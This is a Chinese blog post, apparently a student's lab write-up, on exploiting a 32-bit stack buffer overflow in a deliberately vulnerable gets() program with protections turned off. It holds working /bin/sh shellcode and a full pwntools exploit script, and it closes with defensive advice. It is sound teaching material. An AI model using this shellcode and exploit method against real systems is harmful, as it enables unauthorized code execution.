缓冲区溢出从入门到Shellcode弹计算器:一个网安学生的踩坑实录

缓冲区溢出从入门到Shellcode弹计算器:一个网安学生的踩坑实录

写这篇文章的时候,我刚完成《网络攻防实践》课程的缓冲区溢出实验。说实话,课本上讲的和实际操作完全是两回事。课本告诉你"溢出覆盖返回地址",但没人告诉你gcc的栈保护、地址随机化会把你折腾到怀疑人生。

这篇文章记录我从"知道原理"到"真的弹出计算器"的全过程,包括踩过的每一个坑。

环境准备:第一个坑

实验要求在32位环境下跑,但现在谁还用32位系统?

我的环境:

  • OS:Ubuntu 20.04 LTS(虚拟机)
  • GCC:9.4.0
  • 关键:编译时关闭所有保护
# 关闭栈保护、NX、ASLR、PIE
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c

# 关闭ASLR
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

这里第一个坑:-m32需要安装32位库:

sudo apt-get install gcc-multilib g++-multilib

不装这个,gcc直接报错找不到头文件,搜了半天才发现是库的问题。

目标程序:经典的栈溢出

// vuln.c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
    char buffer[64];
    gets(buffer);  // 危险函数,不限制输入长度
}

int main() {
    printf("请输入你的名字: ");
    vulnerable_function();
    printf("执行完毕\n");
    return 0;
}

gets()是经典的缓冲区溢出入口——它不检查输入长度,你输入多少它就读多少。

第一步:确认能溢出

先用超长输入确认能控制EIP(指令指针):

python3 -c "print('A'*100)" | ./vuln

如果程序直接Segmentation fault,说明溢出成功覆盖了关键地址。

用GDB确认覆盖偏移:

gdb ./vuln
(gdb) r <<< $(python3 -c "print('A'*80)")
(gdb) info registers eip

EIP变成了0x41414141(AAAA的十六进制),说明偏移80字节正好覆盖返回地址。

这里第二个坑:偏移量不是简单的buffer大小(64字节)。编译器可能在buffer和返回地址之间插入padding、saved EBP等。实际偏移要靠pattern工具精确计算:

# 用pwntools的pattern
python3 -c "from pwn import *; print(cyclic(100))" > payload
gdb ./vuln
(gdb) r < payload
(gdb) info registers eip
# 假设EIP = 0x6161616c
python3 -c "from pwn import *; print(cyclic_find(0x6161616c))"
# 输出偏移量,比如76

第二步:写Shellcode

Shellcode是一段机器码,目标是执行系统调用。最经典的入门shellcode是弹计算器(Windows)或执行/bin/sh(Linux)。

Linux execve("/bin/sh")的shellcode(32位):

shellcode = (
    b"\x31\xc0"              # xor eax, eax
    b"\x50"                  # push eax
    b"\x68\x2f\x2f\x73\x68" # push "//sh"
    b"\x68\x2f\x62\x69\x6e" # push "/bin"
    b"\x89\xe3"              # mov ebx, esp
    b"\x50"                  # push eax
    b"\x53"                  # push ebx
    b"\x89\xe1"              # mov ecx, esp
    b"\xb0\x0b"              # mov al, 0x0b (execve syscall)
    b"\xcd\x80"              # int 0x80
)

第三步:找到Shellcode地址

第三个坑来了:你得知道shellcode在内存中的确切地址。

方法一:GDB里直接看buffer地址

gdb ./vuln
(gdb) b vulnerable_function
(gdb) r
(gdb) print &buffer
# 假设输出 0xffffd5a0

方法二:用NOP sled增加命中率

payload = b"\x90" * 50 + shellcode + b"A" * (76 - 50 - len(shellcode)) + b"\xa0\xd5\xff\xff"

NOP sled(\x90)是一堆"什么都不做"的指令。只要EIP跳到NOP sled的任意位置,都会"滑"到shellcode。

第四步:完整的Exploit

from pwn import *

# 关闭ASLR后,buffer地址相对固定
buf_addr = 0xffffd5a0  # GDB中获取的实际地址

shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)

offset = 76  # pattern计算得到
nop_sled = b"\x90" * 50

payload = nop_sled + shellcode
payload += b"A" * (offset - len(payload))
payload += p32(buf_addr)

# 保存payload
with open("payload", "wb") as f:
    f.write(payload)

执行:

(cat payload; cat) | ./vuln

cat管道保持stdin打开,这样拿到shell后还能继续交互。

如果一切顺利,你会看到一个新的shell提示符——恭喜,你拿到了一个有root权限的shell(如果vuln是suid的话)。

踩坑总结

坑现象解决 没装32位库gcc报错找不到头文件apt install gcc-multilib 偏移算错EIP没被覆盖或覆盖位置不对用cyclic pattern精确计算 地址不准Segfault但没拿到shellGDB里多次确认,注意栈帧变化 ASLR没关每次运行地址变echo 0 > /proc/sys/kernel/randomize_va_space 管道问题拿到shell立刻退出用`(cat payload; cat)./vuln`

防御侧思考

作为攻击者体验完之后,防御思路就清晰了:

  • 编译时开启栈保护-fstack-protector-strong,栈溢出时会触发__stack_chk_fail
  • 开启NX-z noexecstack,栈上不能执行代码
  • 开启ASLR:地址随机化,让攻击者猜不到shellcode地址
  • 禁用危险函数:用fgets替代gets,用strncpy替代strcpy
  • 使用现代语言:Rust、Go等内存安全语言从根本上避免这类问题

理解攻击是为了更好地防御。亲手做过一次缓冲区溢出,你对内存安全的理解会上一个台阶。


关注「安全值班室」公众号

每天AI安全早报 + 实战攻防案例 + 网安学习路线连载

关注安全值班室

posted on 2026-06-01 15:05  明.Sir  阅读(33)  评论(0)    收藏  举报

导航